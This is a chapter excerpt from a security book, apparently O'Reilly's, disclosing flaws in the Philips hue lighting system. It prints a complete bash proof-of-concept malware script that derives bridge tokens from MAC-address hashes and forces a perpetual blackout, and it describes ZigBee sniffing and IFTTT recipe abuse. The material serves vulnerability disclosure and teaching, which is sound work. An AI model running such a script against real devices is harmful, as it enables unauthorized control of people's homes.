? (172.20.0.23) at 7c:7a:91:33:be:a4 on en0 ifscope [ethernet]
? (172.20.0.52) at d8:a2:5e:4b:9a:50 on en0 ifscope [ethernet]
? (172.20.0.75) at 54:e4:3a:a6:4b:0e on en0 ifscope [ethernet]
? (172.20.0.90) at c8:f6:50:08:5f:e7 on en0 ifscope [ethernet]
? (172.20.0.154) at 74:e1:b6:9f:12:66 on en0 ifscope [ethernet]

Based on the output of the arp command, we can see the MAC addresses associated with a particular device. For example, the device with the IP address of 172.20.0.90 has the MAC address c8:f6:50:08:5f:e7.

The MD5 algorithm in use is known as a one-way hash. So, the MD5 hash of c8:f6:50:08:5f:e7 can be computed with the md5 tool:

$ md5 -s "c8:f6:50:08:5f:e7"
MD5 ("c8:f6:50:08:5f:e7") = 4ad1c59ad3f1c4fcdd67a55ee8f80160

In this case, the MD5 hash of c8:f6:50:08:5f:e7 is and always will be 4ad1c59ad3f1c4fcdd67a55ee8f80160. Given the one-way nature of MD5, it is hard to reverse engineer the MAC address back from the actual hash. However, imagine a situation in which a device on the same network has been infected with a malicious program (also known as malware) installed by an intruder. This malware can easily issue the arp command and quickly compute the MD5 hash of each MAC address in the table. Then, in order to cause a blackout, the malware simply has to connect to the hue bridge on the local network and use the hash as the username to turn off the lights. This creates a situation in which arbitrary malware on any device on the local network can directly connect to the bridge and continuously issue commands to turn the lights off, causing a perpetual blackout.

Let’s imagine a proof-of-concept malware program written using the simple bash shell available on most Unix and Linux hosts. First, the malicious script needs to locate the IP address of the bridge:

while [ -z "$bridge_ip" ];
do
    bridge_ip=($(curl --connect-timeout 5 -s https://www.meethue.com/api/nupnp
    |awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/);
    ip = substr($0,RSTART,RLENGTH); print ip}'))

    # If no bridge is found, try again in 10 minutes
    if [ -z "$bridge_ip" ];
    then
        sleep 600
    fi
done

The script browses to https://www.meethue.com/api/nupnp (see Figure 1-4) to obtain the IP address of the bridge. If no bridge is found using this URL, it just sleeps for 10 minutes and keeps trying until a bridge is located on the local network.

Next, the script enters into an infinite loop:

while true; do

Within this infinite loop, it first gets the MAC addresses using the arp command:

mac_addresses=( $(arp -a | awk '{print toupper($4)}')

Then for each MAC address, it pads the format so that MAC addresses such as 1:2:3:4:5:6 are in the format 01:02:03:04:05:06:

padded_m=`echo $m |
            sed "s/^\(.\):/0\1:/" |
            sed "s/:\(.\):/:0\1:/g" |
            sed "s/:\(.\):/:0\1:/g" |
            sed "s/:\(.\)$/:0\1/"`

The script then computes the MD5 hash of each of the MAC addresses in the loop:

bridge_username=( $(md5 -q -s $padded_m))

Now, the script uses curl to connect to the bridge and issue it a lights-off command using the calculated username:

turn_it_off=($(curl --connect-timeout 5 -s -X PUT http://$bridge_ip/api/
$bridge_username/groups/0/action -d {\"on\":false} | grep success))

If the command succeeds, the script goes into another infinite loop and perpetually issues the lights-off command to the bridge:

if [ -n "$turn_it_off" ]; then
    			echo "SUCCESS! It's blackout time!";

                while true;
                do
                    turn_it_off=($(curl --connect-timeout 5
                    -s -X PUT http://$bridge_ip/api/$bridge_username
                    /groups/0/action -d {\"on\":false} | grep success))
                done

Example 1-1 contains the complete source code for the script.

Example 1-1. hue_blackout.bash
#!/bin/bash
# This script demonstrates how malware can cause a sustained blackout on the
# Philips hue lightbulb system.

# By design, the hue client software uses the MD5 hash of the user's MAC
# address to register with the hue bridge.

# This script collects the ARP addresses on the victim’s laptop or desktop
# to locate devices on the network that are likely to have been registered
# with the bridge. It then calculates the MD5 hashes of each of the addresses
# and uses the output to connect to the hue bridge and issue a command to
# turn all the lights off. Once it finds a working token, it infinitely loops
# through the same request, causing a continuous blackout (i.e., the lights
# turn off again if the user physically switches the bulbs off and then on
# again). If the user deregisters the associated device, the script goes back
# to looking for more valid MAC addresses. If the user reregisters the same
# device, the script will again cause a sustained blackout and repeat the
# process.

# Written by Nitesh Dhanjani

# Get the internal IP of the bridge, which is advertised on the meethue portal.
while [ -z "$bridge_ip" ];
do
    bridge_ip=($(curl --connect-timeout 5 -s https://www.meethue.com/api/nupnp
    |awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/); ip =
    substr($0,RSTART,RLENGTH); print ip}'))

    # If no bridge is found, try again in 10 minutes.
	if [ -z "$bridge_ip" ];
    then
		sleep 600
	fi
done


# Bridge found, let's cycle through the MAC addresses and cause a blackout.
echo "Found bridge at $bridge_ip"

# We never break out of this loop ;-)
while true;
do
    # Get MAC addresses from the ARP table
    mac_addresses=( $(arp -a | awk '{print toupper($4)}') )

    # Cycle through the list
    for m in "${mac_addresses[@]}"
    do

        # Pad it so 0:4:5a:fd:83:f9 becomes 00:04:5a:fd:83:f9 (thanks
        # http://code.google.com/p/plazes/wiki/FindingMACAddress)

        padded_m=`echo $m |
                    sed "s/^\(.\):/0\1:/" |
                    sed "s/:\(.\):/:0\1:/g" |
                    sed "s/:\(.\):/:0\1:/g" |
                    sed "s/:\(.\)$/:0\1/"`

        # Ignore broadcast entries in the ARP table
        if [ $padded_m != "FF:FF:FF:FF:FF:FF" ]
        then
            # Compute MD5 hash of the MAC address
            bridge_username=( $(md5 -q -s $padded_m))

            # Use the hash to attempt to instruct the bridge to turn
            # all lights off

            turn_it_off=($(curl --connect-timeout
            5 -s -X PUT
            http://$bridge_ip/api/$bridge_username/groups/0/action -d
            {\"on\":false} | grep success))

            # If it worked, go into an infinite loop and cause a sustained
            # blackout
            if [ -n "$turn_it_off" ];
            then
                echo "SUCCESS! It's blackout time!";

                while true;
                do
                    turn_it_off=($(curl --connect-timeout 5 -s
                    -X PUT http://$bridge_ip/
                    api/$bridge_username/groups/0/action -d {\"on\":false}
                    | grep success))

                    # The hue bridge can't keep up with too many iterative
                    # requests. Sleep for 1/2 sec to let it recover.
                    sleep 0.5

                    # Break out of the loop and go back to cycling through
                    # ARP entries if the user deregistered the device

                    # NOTE: If the user reregisters the same physical
                    # device, we can get the token again and redo the blackout.
                    # Or, we may get a hold of another registered device from
                    # the ARP table.
                    if [ -z "$turn_it_off" ];
                    then
                        echo "Hm. The token doesn't work anymore, the user must
                        have deregistered the device :("

                        break
                    fi
                done
            fi
        fi
    done

    unset mac_addresses;

done

One other issue with the design of the hue system is that there is no way to deregister a whitelist token. In other words, if a device such as an iPhone is authorized to the bridge, there is no user-facing functionality to unauthorize the device. Since the authorization is performed using the MAC address, an authorized device will continue to enjoy access to the bridge.

Note

See Hacking Lightbulbs for a video demonstration of the hue_blackout.bash script.

Note that, upon notification to Philips, this issue was fixed and a software and firmware update has been released.

Changing Lightbulb State

So far, we’ve seen how to command the hue bridge to change the state of bulbs. The bridge itself uses the ZigBee Light Link (ZLL) wireless protocol to instruct the bulbs. Built upon the IEEE 802.15.4 standard, ZLL is a low-cost, low-powered, popular protocol used by millions of devices and sensors. The ZLL standard is a specification of a ZigBee application profile that defines communication parameters for lighting systems related to the consumer market and small professional installations.

ZLL requires the use of a manufacturer-issued master key, which is stored on both the bridge and the lightbulbs. Upon initiation (when the user presses the button on the bridge), the bridge generates a random network key and encrypts it using the master key. The lightbulbs use the master key to decrypt and read the network key, which they subsequently use to communicate with the bridge.

Using the KillerBee framework and an RZ USB stick, we can sniff ZLL network traffic. After plugging in the RZ USB stick, we first identify it using zbid, a tool that is part of the KillerBee suite:

# zbid
Dev    	Product String	Serial Number
002:005	KILLERB001        [DELETED]

Next, we can begin sniffing using zbwireshark (on channel 11):

# zbwireshark -f 11 -i '002:005'

This starts up the Wireshark tool to capture ZigBee traffic.

As shown in Figure 1-15, the hue bridge continuously sends out beacon broadcast requests on channel 11 (ZigBee channels range from 11 to 26). A candidate device (lightbulb) can respond to the beacon request to join the network.

aiot 0115
Figure 1-15. Wireshark capture of beacon requests

In this case, in addition to beacon requests, ZLL traffic was found operating on channel 20, as shown in Figure 1-16. The Security Control Field in the ZigBee Security Header is set to 0x01, which indicates that a message authentication code (MAC) is in use (AES-CBC-MAC-3/MIC-32). The transmission of the MAC is also captured and illustrated.

aiot 0116
Figure 1-16. Wireshark capture of channel 20 traffic

Once the bridge receives an authorized request to change the state of an associated lightbulb, the ZigBee protocol and the ZLL specification are used to communicate with the bulb, as captured and shown in Figure 1-15 and Figure 1-16.

We know the bridge uses the ZLL protocol to communicate with the bulbs. The bridge also uses a shared secret key to maintain an HTTP-based outbound connection with the hue infrastructure. This connection is used by the bridge to pick up commands that are routed through the hue website (or the iOS app, if the user is remote). It is possible for a flaw to exist in the implementation of ZLL or the encryption used by the bridge. However, to exploit the issue, the attacker would need to be physically close to the victim (to abuse an issue with ZLL) or be able to intercept and inject packets on the network segment.

Since the probability of this issue is low, it is not deemed to be a critical risk, although the potential is worth stating.

If This Then That (IFTTT)

If This Then That (IFTTT) is a service that lets users create recipes that follow the simple logic of “if this then that” instructions. Users can create recipes across multiple cloud services, such as Gmail, Dropbox, LinkedIn, Twitter, etc. For example, you can use the app to establish actions based on conditions such as, “Every time I’m tagged in a photo on Facebook, also upload it to my Dropbox account.”

IFTTT users can also create recipes for the hue lightbulb system (Figure 1-17)—for example, “If I’m tagged in a photo in Facebook, blink my lights to let me know.”

aiot 0117
Figure 1-17. Hue channel on IFTTT (If This Then That)

The IFTTT service allows the user community to contribute recipes for the various channels, including hue. With so many recipes readily available, users might not always think through the implications of how those recipes might be abused by others to influence their IoT devices.

As an example of an insecure recipe, consider the one shown in Figure 1-18, which allows the user to change the bulb colors to match a photo he has been tagged in.

aiot 0118
Figure 1-18. IFTTT recipe to change bulb colors to match a tagged Facebook photo

As shown in Figure 1-19, when an attacker uploads an image on Facebook that is completely black and tags the victim, the recipe causes a blackout in the victim’s home or office.

aiot 0119
Figure 1-19. Tagging a Facebook photo that is completely black

Another issue to consider is authorized sessions stored in the IFTTT platform. Users can sign up and associate powerful platforms such as Facebook, Dropbox, Gmail, etc. A compromise of IFTTT’s infrastructure, the infrastructure of other associated platforms, the user’s IFTTT accounts, or other platform accounts could be abused by attackers to influence the state of the bulbs via recipes that are in use.

This potential issue is a good example of considerations relating to the upcoming wave of interoperability between IoT devices and cloud platforms. It is only a matter of time before we will begin to see attacks that exploit cross-platform vulnerabilities to influence IoT infrastructures.

Conclusion

We have come to depend on lighting for convenience, as well as for our safety and for the functioning of our societies and economies. For this reason, the IoT devices that control lighting must include security as part of their architecture and design.

The Philips hue lighting system is one of the more popular IoT devices in the market today. This chapter has presented various security issues for this system, including fundamental issues such as password security and the possibility of malware abusing weak authorization mechanisms to cause sustained blackouts. We also discussed the complexity of internetworking our online spaces (such as Facebook) with IoT devices using services such as IFTTT. While these services are useful and will enable our automated future, we need to continue to think through the implications of security and privacy issues.

Lighting device manufacturers should make efforts to verify that their designs are secure and free from the risks discussed in this chapter. Consumers should be aware of vulnerabilities that could exist in the devices they are using in their homes and offices and demand that the lighting device manufacturers provide evidence that their products are securely designed.

Get Abusing the Internet of Things now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.